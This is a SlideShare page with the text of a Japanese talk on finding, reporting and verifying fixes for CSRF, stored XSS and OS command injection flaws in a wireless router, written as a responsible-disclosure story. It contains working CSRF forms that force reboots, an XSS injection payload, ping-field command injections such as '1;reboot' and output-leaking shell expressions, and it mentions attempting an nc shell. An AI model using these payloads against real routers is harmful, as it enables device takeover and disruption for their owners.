Soumettre la recherche
Mettre en ligne
The vulnerabilities never bothered me anyway
•
Télécharger en tant que PPTX, PDF
•
11 j'aime
•
2,656 vues
A
abend_cve_9999_0001
Suivre
security
Lire moins
Lire la suite
Ingénierie
Signaler
Partager
Signaler
Partager
1 sur 107
Télécharger maintenant
Recommandé
フリーでできるセキュリティチェック OpenVAS CLI編
フリーでできるセキュリティチェック OpenVAS CLI編
abend_cve_9999_0001
フリーでやろうぜ!セキュリティチェック!
フリーでやろうぜ!セキュリティチェック!
zaki4649
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
Muneaki Nishimura
脆弱性検査ツールってどうよ
脆弱性検査ツールってどうよ
Masakazu Ikeda
とある診断員とAWS
とある診断員とAWS
zaki4649
130821 owasp zed attack proxyをぶん回せ
130821 owasp zed attack proxyをぶん回せ
Minoru Sakai
SecurityCamp2015「バグハンティング入門」
SecurityCamp2015「バグハンティング入門」
Masato Kinugawa
Proxy War EPISODEⅡ
Proxy War EPISODEⅡ
zaki4649
Recommandé
フリーでできるセキュリティチェック OpenVAS CLI編
フリーでできるセキュリティチェック OpenVAS CLI編
abend_cve_9999_0001
フリーでやろうぜ!セキュリティチェック!
フリーでやろうぜ!セキュリティチェック!
zaki4649
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
Muneaki Nishimura
脆弱性検査ツールってどうよ
脆弱性検査ツールってどうよ
Masakazu Ikeda
とある診断員とAWS
とある診断員とAWS
zaki4649
130821 owasp zed attack proxyをぶん回せ
130821 owasp zed attack proxyをぶん回せ
Minoru Sakai
SecurityCamp2015「バグハンティング入門」
SecurityCamp2015「バグハンティング入門」
Masato Kinugawa
Proxy War EPISODEⅡ
Proxy War EPISODEⅡ
zaki4649
診断ツールの使い方(Owasp zapの場合)
診断ツールの使い方(Owasp zapの場合)
shingo inafuku
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
abend_cve_9999_0001
OWASPの歩き方(How to walk_the_owasp)
OWASPの歩き方(How to walk_the_owasp)
Sen Ueno
第8回脆弱性診断入門
第8回脆弱性診断入門
ionis111
phpcon kansai 20140628
phpcon kansai 20140628
ichikaway
クラウドセキュリティ基礎 #seccamp
クラウドセキュリティ基礎 #seccamp
Masahiro NAKAYAMA
最近のやられアプリを試してみた
最近のやられアプリを試してみた
zaki4649
なぜ自社で脆弱性診断を行うべきなのか
なぜ自社で脆弱性診断を行うべきなのか
Sen Ueno
ビルトイン・セキュリティのススメ Dev Days 2015 Tokyo - Riotaro OKADA
ビルトイン・セキュリティのススメ Dev Days 2015 Tokyo - Riotaro OKADA
Riotaro OKADA
「教養としてのサイバーセキュリティ」講座
「教養としてのサイバーセキュリティ」講座
Riotaro OKADA
これからのWebセキュリティ フロントエンド編 #seccamp
これからのWebセキュリティ フロントエンド編 #seccamp
Kyo Ago
Let's verify the vulnerability-脆弱性を検証してみよう!-
Let's verify the vulnerability-脆弱性を検証してみよう!-
zaki4649
G-study 第6回 LT4:セキュリティパッチを放置すると・・・
G-study 第6回 LT4:セキュリティパッチを放置すると・・・
atk1234
脆弱性診断って何をどうすればいいの?(おかわり)
脆弱性診断って何をどうすればいいの?(おかわり)
脆弱性診断研究会
APTで使用されたバイナリの相関解析忍術 by Bhavna Soman
APTで使用されたバイナリの相関解析忍術 by Bhavna Soman
CODE BLUE
セキュリティスキルをゲットする、たった3つの方法
セキュリティスキルをゲットする、たった3つの方法
Riotaro OKADA
脆弱性診断研究会 第34回セミナー資料
脆弱性診断研究会 第34回セミナー資料
脆弱性診断研究会
セキュア開発の<s>3つの</s>敵
セキュア開発の<s>3つの</s>敵
Riotaro OKADA
20210404_SECURITY_MELT
20210404_SECURITY_MELT
Typhon 666
脆弱性もバグ、だからテストしよう!
脆弱性もバグ、だからテストしよう!
ichikaway
Burpで指定文字列を検索
Burpで指定文字列を検索
abend_cve_9999_0001
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
abend_cve_9999_0001
Contenu connexe
Tendances
診断ツールの使い方(Owasp zapの場合)
診断ツールの使い方(Owasp zapの場合)
shingo inafuku
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
abend_cve_9999_0001
OWASPの歩き方(How to walk_the_owasp)
OWASPの歩き方(How to walk_the_owasp)
Sen Ueno
第8回脆弱性診断入門
第8回脆弱性診断入門
ionis111
phpcon kansai 20140628
phpcon kansai 20140628
ichikaway
クラウドセキュリティ基礎 #seccamp
クラウドセキュリティ基礎 #seccamp
Masahiro NAKAYAMA
最近のやられアプリを試してみた
最近のやられアプリを試してみた
zaki4649
なぜ自社で脆弱性診断を行うべきなのか
なぜ自社で脆弱性診断を行うべきなのか
Sen Ueno
ビルトイン・セキュリティのススメ Dev Days 2015 Tokyo - Riotaro OKADA
ビルトイン・セキュリティのススメ Dev Days 2015 Tokyo - Riotaro OKADA
Riotaro OKADA
「教養としてのサイバーセキュリティ」講座
「教養としてのサイバーセキュリティ」講座
Riotaro OKADA
これからのWebセキュリティ フロントエンド編 #seccamp
これからのWebセキュリティ フロントエンド編 #seccamp
Kyo Ago
Let's verify the vulnerability-脆弱性を検証してみよう!-
Let's verify the vulnerability-脆弱性を検証してみよう!-
zaki4649
G-study 第6回 LT4:セキュリティパッチを放置すると・・・
G-study 第6回 LT4:セキュリティパッチを放置すると・・・
atk1234
脆弱性診断って何をどうすればいいの?(おかわり)
脆弱性診断って何をどうすればいいの?(おかわり)
脆弱性診断研究会
APTで使用されたバイナリの相関解析忍術 by Bhavna Soman
APTで使用されたバイナリの相関解析忍術 by Bhavna Soman
CODE BLUE
セキュリティスキルをゲットする、たった3つの方法
セキュリティスキルをゲットする、たった3つの方法
Riotaro OKADA
脆弱性診断研究会 第34回セミナー資料
脆弱性診断研究会 第34回セミナー資料
脆弱性診断研究会
セキュア開発の<s>3つの</s>敵
セキュア開発の<s>3つの</s>敵
Riotaro OKADA
20210404_SECURITY_MELT
20210404_SECURITY_MELT
Typhon 666
脆弱性もバグ、だからテストしよう!
脆弱性もバグ、だからテストしよう!
ichikaway
Tendances
(20)
診断ツールの使い方(Owasp zapの場合)
診断ツールの使い方(Owasp zapの場合)
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
OWASPの歩き方(How to walk_the_owasp)
OWASPの歩き方(How to walk_the_owasp)
第8回脆弱性診断入門
第8回脆弱性診断入門
phpcon kansai 20140628
phpcon kansai 20140628
クラウドセキュリティ基礎 #seccamp
クラウドセキュリティ基礎 #seccamp
最近のやられアプリを試してみた
最近のやられアプリを試してみた
なぜ自社で脆弱性診断を行うべきなのか
なぜ自社で脆弱性診断を行うべきなのか
ビルトイン・セキュリティのススメ Dev Days 2015 Tokyo - Riotaro OKADA
ビルトイン・セキュリティのススメ Dev Days 2015 Tokyo - Riotaro OKADA
「教養としてのサイバーセキュリティ」講座
「教養としてのサイバーセキュリティ」講座
これからのWebセキュリティ フロントエンド編 #seccamp
これからのWebセキュリティ フロントエンド編 #seccamp
Let's verify the vulnerability-脆弱性を検証してみよう!-
Let's verify the vulnerability-脆弱性を検証してみよう!-
G-study 第6回 LT4:セキュリティパッチを放置すると・・・
G-study 第6回 LT4:セキュリティパッチを放置すると・・・
脆弱性診断って何をどうすればいいの?(おかわり)
脆弱性診断って何をどうすればいいの?(おかわり)
APTで使用されたバイナリの相関解析忍術 by Bhavna Soman
APTで使用されたバイナリの相関解析忍術 by Bhavna Soman
セキュリティスキルをゲットする、たった3つの方法
セキュリティスキルをゲットする、たった3つの方法
脆弱性診断研究会 第34回セミナー資料
脆弱性診断研究会 第34回セミナー資料
セキュア開発の<s>3つの</s>敵
セキュア開発の<s>3つの</s>敵
20210404_SECURITY_MELT
20210404_SECURITY_MELT
脆弱性もバグ、だからテストしよう!
脆弱性もバグ、だからテストしよう!
En vedette
Burpで指定文字列を検索
Burpで指定文字列を検索
abend_cve_9999_0001
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
abend_cve_9999_0001
とある診断員のSECCONオンライン予選
とある診断員のSECCONオンライン予選
zaki4649
Nmapの真実(続)
Nmapの真実(続)
abend_cve_9999_0001
RuCTFEに参加したよ
RuCTFEに参加したよ
abend_cve_9999_0001
おちこんだりもしたけど、私は元気です。
おちこんだりもしたけど、私は元気です。
abend_cve_9999_0001
診断ツールを作ってみようと思う
診断ツールを作ってみようと思う
abend_cve_9999_0001
Burp番外編~バープ、チョトニホンゴデキル~
Burp番外編~バープ、チョトニホンゴデキル~
abend_cve_9999_0001
Cybozu.com security challengeに参加したよ
Cybozu.com security challengeに参加したよ
abend_cve_9999_0001
Not CVE-2013-xxxx
Not CVE-2013-xxxx
abend_cve_9999_0001
Nmapの真実
Nmapの真実
abend_cve_9999_0001
フリーでできるWebセキュリティ(burp編)
フリーでできるWebセキュリティ(burp編)
abend_cve_9999_0001
フリーでできるセキュリティ インフラ(Nessus)編
フリーでできるセキュリティ インフラ(Nessus)編
abend_cve_9999_0001
ハニーポットで見る攻撃手法(特に結論はありません)
ハニーポットで見る攻撃手法(特に結論はありません)
abend_cve_9999_0001
Nmap 9 truth "Nothing to say any more"
Nmap 9 truth "Nothing to say any more"
abend_cve_9999_0001
Your hash is.
Your hash is.
abend_cve_9999_0001
アセンブラ100 さきゅりてぃ発表用
アセンブラ100 さきゅりてぃ発表用
boropon
SECCON2014 crypt200
SECCON2014 crypt200
boropon
Malwat4 20130223 analyzing_android_malware
Malwat4 20130223 analyzing_android_malware
Ayase
Trend Micro CTF Asia Pacific & Japan -defensive100-
Trend Micro CTF Asia Pacific & Japan -defensive100-
boropon
En vedette
(20)
Burpで指定文字列を検索
Burpで指定文字列を検索
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
とある診断員のSECCONオンライン予選
とある診断員のSECCONオンライン予選
Nmapの真実(続)
Nmapの真実(続)
RuCTFEに参加したよ
RuCTFEに参加したよ
おちこんだりもしたけど、私は元気です。
おちこんだりもしたけど、私は元気です。
診断ツールを作ってみようと思う
診断ツールを作ってみようと思う
Burp番外編~バープ、チョトニホンゴデキル~
Burp番外編~バープ、チョトニホンゴデキル~
Cybozu.com security challengeに参加したよ
Cybozu.com security challengeに参加したよ
Not CVE-2013-xxxx
Not CVE-2013-xxxx
Nmapの真実
Nmapの真実
フリーでできるWebセキュリティ(burp編)
フリーでできるWebセキュリティ(burp編)
フリーでできるセキュリティ インフラ(Nessus)編
フリーでできるセキュリティ インフラ(Nessus)編
ハニーポットで見る攻撃手法(特に結論はありません)
ハニーポットで見る攻撃手法(特に結論はありません)
Nmap 9 truth "Nothing to say any more"
Nmap 9 truth "Nothing to say any more"
Your hash is.
Your hash is.
アセンブラ100 さきゅりてぃ発表用
アセンブラ100 さきゅりてぃ発表用
SECCON2014 crypt200
SECCON2014 crypt200
Malwat4 20130223 analyzing_android_malware
Malwat4 20130223 analyzing_android_malware
Trend Micro CTF Asia Pacific & Japan -defensive100-
Trend Micro CTF Asia Pacific & Japan -defensive100-
Plus de abend_cve_9999_0001
Bypassing anti virus using powershell
Bypassing anti virus using powershell
abend_cve_9999_0001
ポートスキャンを擬人化してみた
ポートスキャンを擬人化してみた
abend_cve_9999_0001
Bypassing Windows Security Functions(ja)
Bypassing Windows Security Functions(ja)
abend_cve_9999_0001
Bypassing Windows Security Functions(en)
Bypassing Windows Security Functions(en)
abend_cve_9999_0001
Burp Suite Japanユーザグループ紹介
Burp Suite Japanユーザグループ紹介
abend_cve_9999_0001
バックアップファイルの管理
バックアップファイルの管理
abend_cve_9999_0001
標的型攻撃からどのように身を守るのか
標的型攻撃からどのように身を守るのか
abend_cve_9999_0001
Nmap 9つの真実
Nmap 9つの真実
abend_cve_9999_0001
Cve 2013-2251
Cve 2013-2251
abend_cve_9999_0001
クリックジャッキング
クリックジャッキング
abend_cve_9999_0001
CVE-2010-1870
CVE-2010-1870
abend_cve_9999_0001
Webアプリって奥が深いんです
Webアプリって奥が深いんです
abend_cve_9999_0001
Cve 2013-0422
Cve 2013-0422
abend_cve_9999_0001
Plus de abend_cve_9999_0001
(13)
Bypassing anti virus using powershell
Bypassing anti virus using powershell
ポートスキャンを擬人化してみた
ポートスキャンを擬人化してみた
Bypassing Windows Security Functions(ja)
Bypassing Windows Security Functions(ja)
Bypassing Windows Security Functions(en)
Bypassing Windows Security Functions(en)
Burp Suite Japanユーザグループ紹介
Burp Suite Japanユーザグループ紹介
バックアップファイルの管理
バックアップファイルの管理
標的型攻撃からどのように身を守るのか
標的型攻撃からどのように身を守るのか
Nmap 9つの真実
Nmap 9つの真実
Cve 2013-2251
Cve 2013-2251
クリックジャッキング
クリックジャッキング
CVE-2010-1870
CVE-2010-1870
Webアプリって奥が深いんです
Webアプリって奥が深いんです
Cve 2013-0422
Cve 2013-0422
The vulnerabilities never bothered me anyway
1.
ー 脆弱性なんかに負けない ー The
vulnerabilities never bothered me anyway 1
2.
本資料に記載した行為を自身の管理下にないネット ワーク/コンピューターに行った場合は、攻撃行為と 判断される場合があります。最悪の場合、法的措置を 取られる可能性もあります。 検査行為は、自身の管理下にあるネットワークやサー バーまたは管理者から許可をとった環境に対してのみ 行ってください。 2 ご注意!!
3.
3 Satoshi Ogawa(小河哲之) Twitter: abend アルコール摂取に余念がないセキュリティエンジ ニア Burp
Suite Japan User Group ISOG WG1 OWASP要件定義WG NO DRINK, NO HACK!
4.
4 本資料は、脆弱性の発見、改修確認までを 「とあるストーリー」に則り、紹介するもの です。 CVE-2014-9284 http://jvndb.jvn.jp/ja/contents/2015/JVNDB-2015-000085.html CVE-2016-1134 http://jvndb.jvn.jp/ja/contents/2016/JVNDB-2016-000005.html CVE-2016-1135 http://jvndb.jvn.jp/ja/contents/2016/JVNDB-2016-000006.html
5.
5 とある雪国の女王様がご自宅にある無線LANルーター の設定内容を確認していて、ふと思った・・・
6.
6 無線LANルーターのセキュリティ対策はどうな んだろう?ちょっと、遊んでみよう。 「エ○サ、遊ぼうよ」
7.
7 ちょっと遊んだらレスポンスがなくなり、白 くなった。 ♪「真っ白な世界にひとりの私」
8.
8 なんか、alertあがってるし、どうしたもの か。。。 ♪ 「誰にも打ち明けずに悩んでた」
9.
9 他にもアナがあるんじゃないかと思い、いろ いろと試してみた。 ♪ 「このままじゃだめなんだと」 ① Webアプリケーション診断(手動で実施) ②
ネットワーク診断(nmap、OpenVASとか)
10.
10 いろいろとWebアプリケーションの脆弱性があった。 ③ OSコマンドインジェクション ⇒Webサーバ(無線ルータ)のOSコマンドを不正に実行されて しまう。 ① CSRF ⇒利用者が意図していない処理を実行させられてしまう。 ②
XSS ⇒任意のスクリプト実行やタグを埋め込まれてしまう。
11.
11 ① CSRF(クロスサイトリクエストフォージェリ) 攻撃者が用意した罠サイトにアクセスすることで、利用者が 意図しないリクエストを発行し、処理が実行させられてしま う。 Application Server 利用者 攻撃者 意図していないリクエストを発行 攻撃者が用意した罠サイト ※ 一般的な説明
12.
12 トークン(9桁の数字)があり、値を変更す るとエラーとなり、CSRFの攻撃が成立しない。 トークン 9桁の数字 CSRFの対策が取られている。
13.
13 だが・・・ パラメータごと削除すると処理が実行される。 トークン 9桁の数字 パラメータの存在確認がされていない。 実行
14.
14 以下のPOSTデータを例にとると・・・ param1=1&token=XXXXXXXXXXXX param1=1&token=XXXXXXXXXXXX param1=1&token=XXXXXXXXXXXY 値の変更や”なし”にした場合はエラーとなる。 削除
15.
15 だが、パラメータを削除されるとCSRFできる。 param1=1&token=XXXXXXXXXXXX パラメータの値の等比確認しているが、パラ メータの存在確認は行われていない。 そのため、パラメータを消すとトークンの確 認を迂回できてしまう。 削除
16.
16 ほぼすべての機能に脆弱性が存在すると思わ れる。悪用された場合、影響が大きい。 ・ 任意のパスワード変更 ・ 初期化 ・
ポートフォワード設定 など
17.
17 たとえば、rebootする機能を実行するように罠 を用意して、rebootにかかる時間+αの時間後に 再度rebootするというにすれば、rebootの無限 ループ!! Reboot中 Reboot中正常動作 CSRF
CSRF
18.
18 <html> <body> <script type="text/javascript"> setInterval(function(){document.frm.submit()},3000); </script> <form name="frm"
target="frame" action="http://xxxxx/init.html" method="POST"> <input type="hidden" name="nosave_reboot" value="1"> </form> <iframe name="frame"></iframe> </body> </html> って、思ったが、再起動後、BASIC認証が発生 するので定期的な攻撃は成立しない。
19.
19 ② XSS Cookieは使用していないので盗まれることはないがStored XSS が存在しており、永続的に被害にあう可能性がある。
20.
20 Reflection XSSやStored XSSとは? XSSを分類するとタイプは3つあります。 1.
Reflected XSS (反射型) 2. Stored XSS (格納型) 3. DOM based XSS (DOM型) 『DOM Based XSS』に関するレポート https://www.ipa.go.jp/files/000024729.pdf ※XSSの分類についても記載されています。
21.
21 1. Reflected XSS メールやページ 書込みによるリンク script Application Server 利用者 攻撃者 メールなどを用いて、XSSが発現するようなリンクを 利用者にアクセスさせることで、悪用が可能。 ※
一般的な説明
22.
22 2. Stored XSS 事前にXSSを引き起こさせる文字列を、(攻撃対象で ある)掲示板などへ埋め込み、利用者にアクセスさ せるだけで悪用可能。 script Application Server 利用者 攻撃者 ※
一般的な説明
23.
23 3. DOM Based
XSS メールなどを用いて、XSSが発現するようなリンクを利用者 にアクセスさせ、JavaScriptの不備を悪用。サーバにログを残 さずに悪用可能。 メールやページ 書込みによるリン ク Application Server 利用者 攻撃者 script 利用者のブラウザ上で実行 ※ 一般的な説明
24.
24 管理者アカウントが1つしかなく、アカウント 追加ができない。BASIC認証もあるし。 自分でXSSを仕掛けて自分で引っかかる自作自 演かself XSSの可能性しかない。
25.
25 だが、利用者を誘導してXSSが起こるパターン を入力させてもJavaScriptでvalidationされてい るため、XSSできない。 つまり、XSSを悪用される可能性がほぼない。
26.
26 CSRF feat. Stored
XSS 複数の脆弱性を組み合わせると、ちょっと変 わる。CSRFとXSSを組み合わせて・・・
27.
27 <流れ> ①ルータのセッションが有効な状態で利用者 にCSRFの罠へアクセスさせる。 ②CSRFが発動(XSSを引き起こす文字列を挿 入)。 ③利用者がアクセスするたびにXSSが引き起 こされる。
28.
28 リクエスト(通常時)は POST /ap.html HTTP/1.1 Host:
xxx Content-Type: application/x-www-form-urlencoded Content-Length: 42 DeviceName=hostname&NetworkServiceEnable=1 <table class="AD_SET"> <tr> <th>エアステーション名</th> <td> <input type="text" name="DeviceName" size="30" maxlength="64" value='hostname'> </td> </tr> </table> その結果を表示するレスポンス(抜粋)は ここに出力される。 入力した内容
29.
29 XSSを引き起こす文字列(赤字)を登録するよ うなCSRFの罠へ利用者をアクセスさせる。 ~抜粋~ <form action=“http://xxxxxxx/ap.html” method=“post”> <input
type=“hidden” name=“DeviceName” value=“hostname’><script>alert(‘XSS’)</script>”> <input type=“hidden” name=“NetworkServiceEnable” value=“1”> </form>
30.
30 その結果(抜粋)・・・ 登録されたデータを変更しない 限り、アクセスするたびにXSSが 引き起こされる。 <input type="text" name="DeviceName"
size="30" maxlength="64" value='hostname'><script>alert('XSS‘)</script>'> Scriptタグが挿入され、任意のスクリプ トが実行してしまう。
31.
31 アクセスしただけでrebootもできるようになる。 ~抜粋~ <form name="frm" target="frame"
action="http://xxxxx/ap.html" method="POST"> <input type="hidden" name="DeviceName" value="host'></form><form name='f' action='init.html' method='post'><input type='hidden' name='nosave_reboot' value='1'></form><script>document.f.submit();</script>"> <input type="hidden" name="NetworkServiceEnable" value="1"> </form>
32.
32 XSSだけでは悪用される可能性は低かった。 仕込んだの忘れてた結果、身をもって試すことと なった。
33.
33 ただし、攻撃を成功させるためには、CSRFが成功し ないといけない。CSRFを成功させるには・・・ 条件① ルータのセッションが有効な間に利用者が 罠にアクセスする。 条件② 罠で設定するPOST先のIPアドレスを事前に推 測する。
34.
34 ③ OSコマンドインジェクション WebサーバのOSコマンドインジェクションが実行可 能。 Application Server 攻撃者 OSコマン ド ※ 一般的な説明
35.
35 外部に対して疎通確認のためのping送信機能が あるが、そこにOSコマンドインジェクション が存在する。
36.
36 sleepコマンドで指定する時間分のタイムウエ イトが発生する。ただし、任意のコマンドが 通るわけではなさそう。 >_ OSコマンド実行
37.
入力内容によりレスポンスの応答時間が変化 する。 192.168.1.1 | sleep
1 192.168.1.1 | sleep 10 →10.129secかかった。 →1.134secかかった。 37
38.
38 CSRF feat. OSコマンドインジェクション で・・・<html> <script> function
init(){ document.form[0].submit(); }; </script> <body onload="init();"> <form action="http://xxxxxxxxxxx/ping.html" method="post"> <input type="hidden" name="ping_ipaddress" value="1;reboot"> </form> </body> </html> 脆弱性をついて再起動というイケてる仕様。 OSコマンドインジェクショ ン
39.
39 ちゃんと活用していました。
40.
40 様々な箇所で、複数の脆弱性が存在している。 validationをJavaScriptでやっており、セキュリ ティ実装が・・・って思ってしまう作り。
41.
41 ♪ 「The vulnerabilities
never bothered me anyway」 脆弱性なんて気にしない ただ、ここまで来ると
42.
42 そんな訳はなく 脆弱性関連情報の届け先へ連絡。
43.
43 流れとしては、ざっくりこんな感じ。 ①脆弱性を受理してもらう。 ②ベンダに通知してもらう。 ③ベンダが直す。 ④改修確認する。 ⑤公開!!
44.
44 OSコマンドインジェクションでどこまでやれ るのか気になったので・・・ ♪ 「どこまでやれるか自分を試したいの」 shellとれるか、試したかった。
45.
45 下記をチャレンジしてみた。 ・ OSコマンドインジェクションを悪用して ncコマンドなどでshell奪取を試行 ・ 使用しているアプリの脆弱性をつく(CVE- 2014-6271などを試行) 結果は・・・ だめだったorz
46.
46 しばらくしてIPAからメールがきた。 (2014年9月頃) ② XSS →
脆弱性認定キター ① CSRF → 脆弱性認定キター ③ OSコマンドインジェクション → 不受 理
47.
47 は?
48.
48 受理しないとする先方のメールを要約すると ・ 管理画面上で操作できる内容のコマンド しか確認できていない。 ・ 確認できているコマンドではCIAに影響を 及ぼさない。 ・
実行するにはログインすることが前提 (ユーザも1つしかない)。
49.
(確認できたのが) ping、reboot、sleep、 echo、dateのみしかOSコマンドインジェクショ ンができないだけだと脆弱性として認めてく れないらしい。 49
50.
rebootは通るが(shutdownやhaltなどによる停 止ができなかった)、画面上で再起動ボタン があるので、「脆弱性ではない」ということ みたいです。 50
51.
51 ところで、CIAっ て??
52.
52 完全性 (Integrity) 情報が破壊、改ざん又は消去されていない状態を確保すること 機密性 (Confidentiality) 情報へのアクセスを認められた者だけが、その情報にアクセスできる状態 を確保すること 可用性
(Availability) 情報へのアクセスを認められた者が、必要時に中断することなく、情報及 び関連資産にアクセスできる状態を確保すること By wikipedia
53.
53 機密性 (confidentiality) (個人的な見解です)今回のOSコマンドインジェク ションの場合・・・ 利用者(管理者)が1名しかおらず追加できない環境 で、その利用者がもともとアクセス可能な情報にア クセスができる。認証の迂回やなりすましなどによ り他の利用者がアクセスできるわけではない。
54.
54 完全性 (integrity) NTPサーバの設定変更は可能だが、別な画面でもとも と変更する機能が実装されており、情報の破壊、改 ざんなどができたわけではない。ただ、開発者が意 図しない箇所で変更できてしまっている。 (個人的な見解です)今回のOSコマンドインジェク ションの場合・・・。
55.
55 可用性 (availability) (個人的な見解です)今回のOSコマンドインジェク ションの場合・・・。 認められた利用者がアクセスできており、それを阻 害することはできなかった。リブートできるけ ど。。。
56.
56 うーん、CIAに影響してないかと言われると微 妙な感じ・・・。 開発者が意図していない箇所で、期待してい る動作以外のコマンドを実行できることはセ キュリティ上、好ましくいと思うので、受理 してもらうために更なる調査を開始。
57.
57 wgetコマンド、rmコマンドなども動作可能で あることを確認。 なので、偽のコンテンツを取得し、ルータ上 に存在するコンテンツと差し替えることが可 能。
58.
いろんなコマンドを試してみた。 bash cat cp echo ftp halt init iptables kill less ls more nc netstat ntp ping ps pwd reboot rm shutdown telnet touch wget ※赤字が動作確認できたコマンド 58
59.
59 ということで、再度検討してもらった。 結果、受理!!(2015年1月)
60.
60 IPAから連絡来ていないけど、ある日ベンダ ページ見たら、直ったとリリースされていた。
61.
61 発見した製品以外にも、存在していたようで す。予想通りですが。
62.
62 ん?ちょっと待て。CSRFの脆弱性の説明 が・・・。 「悪意のあるスクリプトが組み込まれたウェブページ にアクセスした際、掲示板に意図しない書き込みをさ せられたり、オンラインショップで買い物をさせられ たりする。」
63.
63 一般的なCSRFの説明も併記されており、誤解 を招くと思います。 そんなことありません。 ルータの設定を変更させられてしまう可能性 がありますが、掲示板への書き込みやオンラ インショップでの買い物はできません。
64.
64 ベンダが改修したと言っているので、改修確 認をやってみた。 ② XSS →
alertがあがった ① CSRF → なおった ③ OSコマンドインジェクション → な おった
65.
65 ♪「このままじゃ ダメなんだと」 報告時と何も変化がないように見える。。。
66.
66 約11か月後、サイトを見たら新しいバージョン がリリースされていたので再度試してみた。 「<」、「>」は出力されなくなっていた。
67.
67 入力内容を変えてみた。 ' onmouseover='alert() '><script>alert()</script>
68.
68 ♪「このままじゃ ダメなんだと」 ま、まさか
69.
69 さらに約1か月後、また新しいバージョンがリ リースされていたので、再度試してみたら、 やっと直っていた。 長かった。
70.
70 OSコマンドインジェクションの件、記事に なっていた。
71.
まとめ 71
72.
72 外部に対して、公開を想定されていなかった製品だ と、XSSのような脆弱性は多数存在すると思う。ただ、 公開されているわけではないため、XSSを悪用される 可能性は低いが。 医療機器や工場などで稼働する製品でも同じことが 言えるのではないだろうか。
73.
73 2014年7月21日に一番最初に報告したので、1年半か かった。長かったが、全部直していただいて、利用 者として良かったです。 ♪ 「The vulnerabilities
never bothered me anyway」 脆弱性なんかに負けない
74.
74 ちなみに、当該映画は見 たことがないです。 ※本資料は、「Let it go」の歌詞を一部引用しています。
75.
実はまだ終わらないんです。 75
76.
rootでshellを取るという仕事が 残っているんですよ。 76
77.
なので・・・ 77
78.
世界に1つだけのroot 78
79.
Analysis1 79 再度、情報収集とこれまでの内容を見 直してみることにした。 echoで任意の文字列が出力できなかっ たので、もう一度調べてみた。
80.
Analysis2 80 以下、文字列が出力されるのを確認してい た。 1|echo '1 bytes
from 1.1.1.1: seq=0 ttl=1 time=9999ms' ping結果を出力する機能なので、出力形式 のチェックをしているのではないかと推測 される。 1|echo 'hello' 以下では、出力されなかった。 1|echo $SHELL
81.
Analysis3 81 出力形式のチェックはどこまで厳格なって いるのか1byteづつ削ったりして試してみた。 1|echo 'seq=' 最終的にこの赤字箇所があれば、画面出力 される。 1|echo '1
bytes from 1.1.1.1: seq=0 ttl=1 time=9999ms'
82.
Analysis5 82 pingの出力バリデーション、 全然関係ねーじゃんと気づく。
83.
Analysis6 83 画面出力ができるようになったので、以前 ダメだったコマンドを再度試してみた。 1| echo 'seq='+`ls` 表示されるようになった。ただし、 58byte分のみ。
84.
Analysis7 84 環境変数も見れている。 1| echo 'seq='+`echo
$SHELL`
85.
Analysis8 85 どんなコマンドが実行可能か調査してみた。 1| echo 'seq='+`ls
/bin` 全部表示されない。
86.
Analysis9 86 なので、こんな感じでアルファベットすべ て確かめればコマンドの洗い出しができる。 1| echo 'seq='+`ls
/bin | grep ^a` ただ、手動で試すのはめんどくさい。
87.
Analysis10 87 BurpのIntruder機能を使ってみる。
88.
Analysis11 88 BurpのIntruder機能は、色々なパターンを自 動的にテストしたりするのに便利で、以下 の流れになる。 ① リクエストをIntruderにセット。 ② Positionsでテストしたい箇所を指定。 ③
Payloadでテストするパターンをセッ トし、Go Attackを押下。 ④ 結果の確認。
89.
Analysis12 89 テストしたい箇所を選択して、Addすると テスト箇所としてBurpが認識します。
90.
Analysis13 90 テストしたいパターンをセットする。今回 はアルファベットのみだが、任意の文字列 を指定可能。
91.
Analysis14 91 テストごとでレスポンスを確認可能。 Content-Lengthが一覧化されており、差分の 有無を確認しやすくなっている。
92.
Analysis15 92 その結果、以下のコマンドが実行可能。 /bin acl ap_serv ac
ated ash brctl busybox cp cat chmod df dnsmasq dd date echo eraseall erase gzip gpio grep hw_nat hostname iwconfig iwpriv iptables kill lld2d login ln ls mtr mv mtd_write mknod mount mii_mgr mkdir netstat openssl ps ping pwd pidof rm reg sleep switch sh sed tc touch tar uname umount uboot_env vi wscd /sbin arping basename cut ccf_checkLicenseStatus dumpleases ether-wake expr ifilter_checkLicense.sh killall nslookup printf pscan tail top tproxy tftp test unzip uptime wget wc xargs /usr/bin config-vlan.sh config.sh halt ifconfig init insmod klogd lsmod mdev pppoe-relay poweroff reboot rmmod route syslogd udhcpc vconfig wd_keepalive
93.
Analysis16 93 initやtouchなど試したが駄目だったと判断 した理由は以下だと思う。 ・ typoの可能性 ・ レスポンスだけで動作確認ができなかっ た
94.
Analysis17 94 拡張子がhtml以外のコンテンツはアクセス できず、適当なhtmlファイルでも200 OKと なってしまう仕様から動作の確認に至らな かった。
95.
Analysis18 95 以前、shellshockの確認を行ったが、脆弱 性は存在しなかった。 そもそも/bin/shと/bin/ash($SHELLは /bin/sh)なので、存在するわけがない。
96.
Analysis19 96 opensslが存在するが、ルータの管理画面 はhttpsではなく、どこにも使っていないと 思う。 heartbleedできる可能性もあるので、バー ジョン確認したら0.9.8eだったので、そっ と閉じた。
97.
Analysis20 97 /binにあるコマンドをls –lで見てみると、 多くが/bin/busyboxにlinkされていた。 lrwxrwxrwx 1
0 0 7 mkdir -> busybox lrwxrwxrwx 1 0 0 7 grep -> busybox lrwxrwxrwx 1 0 0 7 date -> busybox lrwxrwxrwx 1 0 0 7 sed -> busybox
98.
